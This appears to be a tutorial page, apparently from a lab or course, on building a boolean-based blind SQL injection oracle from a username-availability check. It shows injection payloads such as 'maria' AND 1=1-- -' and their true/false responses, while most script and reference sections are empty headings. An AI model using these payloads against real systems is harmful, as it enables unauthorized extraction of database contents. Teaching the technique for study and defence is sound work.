Designing the Oracle

Theory

An oracle is a function that:

  1. Takes a SQL query

  2. Returns True or False based on evaluation

How It Works

Since we know maria exists (returns taken), we can test queries:

SELECT Username FROM Users WHERE Username = 'maria' AND q-- -'
Query Result
Response
Meaning

q = True

taken

Query evaluated as TRUE

q = False

available

Query evaluated as FALSE


Testing the Oracle

True Condition

Payload: maria' AND 1=1-- -

SELECT Username FROM Users WHERE Username = 'maria' AND 1=1-- -'

Response: status: taken βœ… (True)

False Condition

Payload: maria' AND 1=0-- -

Response: status: available βœ… (False)


Important Note

⚠️ Must use an existing username (like maria)

If using non-existent username, result is always available regardless of query truth value.


Python Oracle Script


Using the Oracle

Count Rows in Table

Base Query:

Enumeration Script

Output


Oracle Query Examples

Counting

String Comparison

Existence Checks


Oracle Pattern


Optimization Tips

Binary Search for Numbers

Instead of linear search (0, 1, 2, 3...), use binary search:

Parallel Requests


Next Steps


Quick Reference

Payload Template

URL Encoding

Common Assertions

Last updated